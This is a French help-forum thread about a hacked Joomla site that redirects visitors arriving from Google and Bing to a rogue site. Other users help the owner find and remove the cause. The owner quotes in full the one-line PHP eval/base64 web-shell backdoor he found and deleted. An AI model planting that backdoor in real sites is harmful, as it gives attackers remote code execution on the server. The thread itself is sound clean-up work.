Probleme hack siteweb joomla

Résolu/Fermé
ubik -  
Bonjour,
j'ai des fichiers qui ont du etre hacké sur mon site sur serveur distant
j'utilise joomla comme CMS
le fait est que si je tape l'url d'un site client www.centrecristal.com, ca marche mais si dans google je tape centrecristal, et que je clic sur le premier lien proposé, j'ai une redirection sur un site web fantome, comment corriger ce probleme et relister le site sur google ?

merci d'avance

3 réponses

  1. ubik
    Mon serveur est deja sous linux, de 1, de 2 je vais pas télécharger ton .exe. De 3 je crois que t'as pas bien lu mon post.
    1. g3n-h@ckm@n
      et de 4 , bonne journée
    2. ubik
      amuses toi bien avec tes copier coller....
    3. Pierrecastor Modérateur
      ????
    4. ubik
      ^^ bah il me post une reponse pour la suppression d'un virus sur une machine en local ca n'a rien a voir avec mon probleme, et quand tu vois la longueur du texte et le temps de reponse c'est bien du copier coller. Il a supprimé son post.
    5. g3n-h@ckm@n
      tu crois pas que je vais tout reecrire à chaque fois non ?

      si ca te pose tant un probleme que ca ignore ca au lieu de jacasser comme une perdrix
  2. Pierrecastor Modérateur
    Salut

    Étrange. Peut être un problème dans le htaccess ?

    Par contre, si il y à modification de tes fichiers, il y à surement une faille sur ton serveur, il faut déjà trouver d'où ça viens.

    Quel version de joomla utilise tu ?

    1. ubik
      2.4, oui j'ai changer les chmod de certains fichiers et trouver un fichier post.php avec un eval(base64_decode en some une injection) la ca doit etre corrigé au niveau des failles mais pour relister sur google je fais comment ?
    2. Pierrecastor Modérateur
      Attendre que le bot google repasse par la ? Tu as un robot.txt ?

      Par contre, je reste dubitatif sur la correction de la faille, mais je ne m'y connais pas assez pour t'aider la dessus.
  3. lionel-DIL
    Le soucis n'est pas chez google, mais sur votre site.
    A mon avis, il y a une redirection lorsque des personnes viennent de Google ( ainsi que Bing, je viens de tester).
    Est-ce possible de vérifier tous les fichiers du site ? ( htaccess, robots.txt, sitemap.xml, mais aussi le header et index.php etc.).
    Ca va prendre du temps certes.
    Sur votre FTP, vous pouvez vérifier aussi toutes les dates des fichiers.
    Voilà pour en trouver la cause.

    1. ubik
      j'ai changé le chmod, j'ai supprimé l'injection
      <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>

      j'ai supprimé le module corrompu (selon la date de modifications) (c'était un slideshow sur la home comportant de l'injection)
      j'ai changé les codes d'accès de l'administration, les chmod etait bon partout sauf sur ce module forcement donc désormais ça devrait être ok

      j'ai soumis de nouveau un sitemap et modifié le robot.txt mais je ne sais pas si google va mettre moins de 90 jours avant de reverifier
    2. lionel-DIL
      A mon avis, le soucis ne vient pas de Google.
      En effet, Google ne fait qu'une redirection du moteur vers votre site.
      L'adresse d'arrivée de la page ( notée sur GG ) est bonne.
      Le lien est donc correct.
      Lorsqu'on arrive sur votre page, il doit y avoir un code malicieux qui dit ( en gros) que si l'utilisateur vient d'un moteur de recherche, alors il y a une redirection vers le site pourri.

      Je suis persuadé que vous avez oublié un morceau de base64 quelque part.
      Ceci dit, je peux me tromper, mais à mon avis le soucis est encore sur votre site.
    3. ubik
      juste en effet j'ai remplacé l'index.php par index.html et en effet pas de redirection. mince bon il doit y avoir un autre fichier corrompu que j'ai zappé
    4. ubik
      Bien vu merci pour tes conseil ca marche desormais je pensais que c'etait sur google, en effet j'ai oublié un des fichiers sur le module corrompu la c'est oki ^^
    5. lionel-DIL
      Pas de soucis ;-)
      Tu peux passer en résolu si c'est le cas ;-)

Discussions similaires

modele joomla bannière
roro

8 réponses
Accès à l'interface administrateur de Joomla
sydney68

5 réponses
Connection à Administrator Joomla
AquitaineOnLine

75 réponses
Joomla et php 5.3
Japan-O-Fan

6 réponses
Joomla et phpmyadmin
widi70

2 réponses